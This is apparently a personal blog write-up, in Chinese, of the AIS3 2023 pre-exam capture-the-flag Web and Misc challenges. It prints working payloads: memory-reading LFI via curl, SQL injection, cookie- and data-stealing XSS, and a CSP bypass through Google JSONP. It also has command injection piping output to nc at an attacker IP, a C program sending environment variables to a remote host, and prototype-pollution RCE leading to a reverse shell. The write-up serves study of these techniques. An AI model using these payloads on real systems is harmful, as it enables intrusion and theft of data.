Cavern.sigma
Welcome to Cavern.sigma
[TOC] ## 成績 ![Score](https://img.stoneapp.tech/t510599/ais3-2023/pre-exam/Score.png) 看[完整 Profile](https://img.stoneapp.tech/t510599/ais3-2023/pre-exam/Profile.png) 很長的 [ScoreBoard](https://img.stoneapp.tech/t510599/ais3-2023/pre-exam/Scoreboard.png) ## 前言 一樣沒空打 QQ 今年我的身分認同是 Web + Misc Player 其他類別連動都不動 (X ## Misc ### Welcome 視力 -100% flag: `AIS3{WELC0ME-TO-AIS3-PRE-EXAM-&-MY-FIRST-CTF}` ### Robot > 逼波逼 機油...好難喝... :robot_face: 有藏惡意 payload 搞 手輸就沒事 flag: `AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}` ### Media Server 透過自定義 HTTP method 可以讓 SimpleHTTPServer call 相對應的 `do_<method>()` 將 method 設為 `media` 即可繞過 regex 檢查作 LFI 先讀 `/proc/self/maps` 看 memory layout 再到可能的 address 去找 `secret_path` 變數的內容 address 可透過 `Range` header 來指定 (curl `-r`) read memory payload: `curl -X "media" --path-as-is "http://chals1.ais3.org:25519/../proc/self/mem" -v -o media.bin -r 140535097032704-140535097696256` ![](https://hackmd.io/_uploads/rJ9x20mS2.png) 不過在還沒找到 path 的時候 就先找到 flag 了 這題意外的拿到首殺 ~~但感覺其實是有人在屯 flag~~ flag: `AIS3{arbitrary_memory_read_as_a_service}` ### Chroot Checker Easy 可以簡單做 symlink 來將 `/tmp/xxx/flag` 指到 `/app/flag` 這樣後面判斷式自然成立 可以用 busybox 來做 `./busybox ln -s /app/flag /flag` flag: `AIS3{bu3yb0x-byp4ss-chr0ot-soft-l1nk}` ### Chroot Checker Hard stdin stdout stderr 都被關掉了 不過可以寫個簡單的 socket program 把想要的 output 打回來 ```clike! #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> extern char **environ; int main() { struct sockaddr_in server_addr; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(40005); server_addr.sin_addr.s_addr = inet_addr("<ip>"); int sockfd; if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { return 1; } if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { return 1; } for (char **env = environ; *env; ++env) { char msg[2048] = {0}; sprintf(msg, "%s\n", *env); send(sockfd, msg, strlen(msg)+1, 0); } close(sockfd); return 0; } ``` ![](https://hackmd.io/_uploads/HJdw00Xrn.png) 得知 `PWD` 這個 env 可以找到現在的目錄位置 進而推測 flag 路徑 用 c syscall 做 symlink ```clike! #include <unistd.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> int main(){ char* pwd = getenv("PWD"); char buf[2048] = {0}; sprintf(buf, "%s%s", pwd, "/flag"); const char *newpath = "/flag"; return symlink(buf, newpath); } ``` flag: `AIS3{w0w_u_4r3_such_4_cHr007_m4st3r_!!!!}` ## Web ### Login Panel username 需與 SELECT 出的結果相同 所以轉而注 password username: `admin` password: `' OR password LIKE '%' /*` 登入後 session 就設好了 `/2fa` 唬人的 直接去 `/dashboard` 就好 flag: `AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})--}` ### E-Portfolio baby 樸實無華的 XSS ```html <code id=code> (async function() { let res = await fetch(`/api/portfolio`); let text = await res.text(); location.href = `https://<server>/?ais3=${btoa(text)}`; })(); </code> <img src=x onerror=eval(document.querySelector("#code").innerHTML) /> ``` flag: `AIS3{<img src=x onerror='fetch(...}` ### markToFiles 後端沒檢查 `exportType` 開心怎麼設就設啥 ![](https://hackmd.io/_uploads/S1GKMJEr3.png) 內容設為 `![img](/flag)` exportType 設成 `epub` 即可在輸出的 epub 檔中找到 flag ![](https://hackmd.io/_uploads/r1aTf14S3.png) *(file0 就是 flag)* flag: `AIS3{R3@d1ng_D0cum3nt_1s_H31pfu1}` ### Gitly ![](https://hackmd.io/_uploads/r10A7k4B3.png) 透過 `repo.git()` 一堆地方都可以 command injection 挑個順眼的用: 在 repo 看 raw file 的 route `/:path...` 還會把 payload 中的 `/` 自動幫我補回去 讚 ![](https://hackmd.io/_uploads/ByfrNk4rh.png) payload: `http://chals1.ais3.org:25565/admin/gitly/raw/123/$(/readflag%20|%20nc%20<ip>:<port>)` flag: `AIS3{so_many_bugs_so_easy_to_rce}` ### E-Portfolio session cookie 有 SameSite=Strict 所以 payload 需要放在題目的 domain 底下 但 DOMPurify 繞不過去 轉而觀察可上傳的檔案 其中 svg 在**直接瀏覽**時會執行其中的 `<script>` 可以透過 svg 加入 `<script type="text/javascript">` 但要繞 CSP 不能直接跑 js code (沒有 nonce) 透過 csp-evaluator 發現可以利用 `*.google.com` 的 JSONP ![](https://hackmd.io/_uploads/B1OqJxNH2.png) 參考 [zigoo0/JSONBee](https://github.com/zigoo0/JSONBee) 最後使用 `https://accounts.google.com/o/oauth2/revoke?callback=<code>` payload: ```svg! <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" /> <script type="text/javascript" xlink:href="https://accounts.google.com/o/oauth2/revoke?callback=(async%20function(){res=await%20fetch(`/api/portfolio`);data=await%20res.json();location.href=`<server>/?flag=${data.data.password}`;})" /> </svg> ``` ![](https://hackmd.io/_uploads/SkmDgxNS2.png) 將圖片上傳後 用開發人員工具覆蓋 `onReport()` 以 report 上傳的 payload -> [Share your portfolio with admin] flag: `AIS3{<script href="https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio');"></script>}` ### markToFiles-Revenge `app.js` ```javascript=21 const content = req.body.comment const exportType = req.body.options const title = req.body.title const hash = content.substring(0, 10) if (!(exportType in OutputFormat)) { return res.json({message: 'format not found'}) } if (/\.\./.test(title) || /[^a-zA-Z0-9._();'"-]/.test(title)) { return res.json({ message: 'h@ck3r found!', }) } if (cache[exportType][hash] === undefined) { cache[exportType][hash] = req.body.title ``` 多了 `exportType` 跟 `title` 的檢查 其中 L36 可以做 Prototype Pollution `@hackmd/pandoc.js` ```javascript=187 Pandoc.prototype.convertFromFile = function(input, to, output, args, options) { if (args === void 0) { args = []; } return this.promisifyStream(child_process_1.spawn( this.defaultOptions.pandocBin, [ input, '-t', to, '-o', output ].concat(args), options) ); }; ``` 而 `@hackmd/pandoc.js` 中是透過 `this.defaultOptions.pandocBin` 來儲存 pandoc 的路徑 覆蓋掉他就能做 RCE -> 目標 `Object.__proto__.pandocBin` comment 的前十字元 (`hash`) 可用於控制想覆蓋的值的名稱 L25 是透過 in operator 來做檢查 參考 MDN: > The in operator tests if a string or symbol property is present in an object or its prototype chain. `__proto__` 自然也會通過 L25 的檢查 原先想將其直接覆蓋成 `/readflag` 但無法通過 L29 的檢查 (有 `/`) 後來選擇直接蓋成 `node` 因內容會先被寫到檔案中 再將檔名作為 command arg 給 `pandocBin` 這樣就能把內容作為程式碼給 node.js 跑 payload: - comment: `pandocBin` - options: `__proto__` - title: `node` 另外再隨便轉換一次 內容設成 node.js 的 reverse shell 即可 flag: `AIS3{Pr0t0typ3_P0llut10n_R3v3ng3!!!!!}` ## 後記 第一次 Web 破台 咖波扭動.gif
2023-05-27 01:27:48
留言
Last fetch: --:-- 
現在還沒有留言!